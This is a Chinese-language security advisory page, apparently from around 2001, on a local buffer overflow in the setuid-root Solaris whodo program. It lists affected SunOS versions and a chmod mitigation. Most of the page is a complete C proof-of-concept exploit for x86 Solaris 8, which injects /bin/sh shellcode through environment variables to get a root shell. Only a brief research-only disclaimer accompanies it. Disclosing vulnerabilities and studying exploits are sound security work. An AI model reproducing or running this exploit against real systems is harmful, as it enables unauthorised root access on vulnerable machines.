Solaris whodo 本地缓冲区溢出漏洞 (SunOS,缺陷)

/ns/ld/unix/data/20010708173020.htm

涉及程序:
Solaris whodo

描述:
利用 Solaris whodo 本地缓冲区溢出漏洞取得系统特权

详细:
Solaris whodo 缺省状态下以 setuid root 位安装,但是近日发现它存在缓冲区溢出漏洞。它在处理来自环境变量的数据时,如果该变量超过预先定义的长度,将会触发缓冲区溢出。

本地攻击者利用此漏洞,能取得系统特权。

以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


Technical Description - Exploit/Concept Code:


#include <fcntl.h>


/*
/usr/sbin/i86/whodo overflow proof of conecpt.


Pablo Sor, Buenos Aires, Argentina 06/2001
psor@afip.gov.ar, psor@ccc.uba.ar


works against x86 solaris 8


default offset +/- 100 should work.


*/


long get_esp() { __asm__("movl %esp,%eax"); }


int main(int ac, char **av)
{


char shell[]=
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff";


unsigned long magic = get_esp() + 1180; /* default offset */


unsigned char buf[800];
char *env;


env = (char *) malloc(400*sizeof(char));
memset(env,0x90,400);
memcpy(env+160,shell,strlen(shell));
memcpy(env,"SOR=",4);
buf[399]=0;
putenv(env);

memset(buf,0x41,800);
memcpy(buf+271,&magic,4);
memcpy(buf,"CFTIME=",7);
buf[799]=0;
putenv(buf);


system("/usr/sbin/i86/whodo");
}

受影响系统:
SunOS 5.8
SunOS 5.7
SunOS 5.5.1

解决方案:
SUN 尚未推出补丁,建议用户清除该程序的 setuid root 位

chmod a-s /usr/sbin/sparcv7/whodo (SunOS 5.8 Sparc)
chmod a-s /usr/sbin/i86/whodo (SunOS 5.8, 5.7 Intel)
chmod a-s /usr/sbin/whodo (SunOS 5.5.1)